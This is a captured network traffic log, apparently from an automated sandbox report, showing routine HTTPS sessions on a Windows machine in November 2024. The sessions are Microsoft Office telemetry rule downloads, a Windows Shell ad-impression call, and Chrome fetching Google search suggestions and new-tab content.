2024-11-26 15:31:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:22 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153122Z-174f7845968swgbqhC1EWRmnb40000000vrg00000000g86b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153122Z-174f7845968kvnqxhC1EWRmf3g0000000eg0000000004zr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:22 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153123Z-174f7845968l4kp6hC1EWRe8840000000vug00000000hfm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153123Z-174f7845968px8v7hC1EWR08ng0000000vw000000000dr5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153123Z-174f78459684bddphC1EWRbht40000000v8g00000000qtvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49740	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:23 UTC	602	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=394511433&PG=PC000P0FR5.0000000IRU&REQASID=E63831AF0CC046A09D1AE6A597F951CB&UNID=338389&ASID=0e6e874893f342b5b693664973a6aa48&&DS_EVTID=E63831AF0CC046A09D1AE6A597F951CB&DEVOSVER=10.0.19045.2006&REQT=20241126T153059&TIME=20241126T153105Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-26 15:31:23 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 076de5ad-ddb3-43e5-a8d2-268fd23d5379 Date: Tue, 26 Nov 2024 15:31:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:25 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153125Z-174f7845968nxc96hC1EWRspw80000000vb000000000ecgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49747	172.217.21.36	443	7708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:24 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 15:31:25 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:25 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-QQcKJkloeKWbQ4WDqt57SA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 15:31:25 UTC	124	IN	Data Raw: 33 30 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 65 61 73 6f 6e 20 66 6f 75 72 20 66 72 6f 6d 22 2c 22 64 65 61 6c 73 20 62 6c 61 63 6b 20 66 72 69 64 61 79 22 2c 22 70 67 61 20 74 6f 75 72 20 63 61 72 64 22 2c 22 6b 6f 64 61 6b 20 70 65 6e 73 69 6f 6e 20 70 6c 61 6e 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 66 6f 72 65 63 Data Ascii: 302)]}'["",["season four from","deals black friday","pga tour card","kodak pension plan","thanksgiving winter storm forec
2024-11-26 15:31:25 UTC	653	IN	Data Raw: 61 73 74 20 73 6e 6f 77 22 2c 22 63 61 6e 61 64 69 61 6e 20 70 61 63 69 66 69 63 20 68 6f 6c 69 64 61 79 20 74 72 61 69 6e 20 6d 69 63 68 69 67 61 6e 22 2c 22 63 68 69 6c 6c 20 67 75 79 20 6d 65 6d 65 73 22 2c 22 73 70 61 63 65 78 20 66 61 6c 63 6f 6e 20 39 20 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 Data Ascii: ast snow","canadian pacific holiday train michigan","chill guy memes","spacex falcon 9 rocket launch"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sugg
2024-11-26 15:31:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49748	172.217.21.36	443	7708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:24 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49752	172.217.21.36	443	7708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:24 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 15:31:25 UTC	1018	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 15:31:25 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 15:31:25 UTC	372	IN	Data Raw: 32 32 34 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 224f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-26 15:31:25 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-26 15:31:25 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e 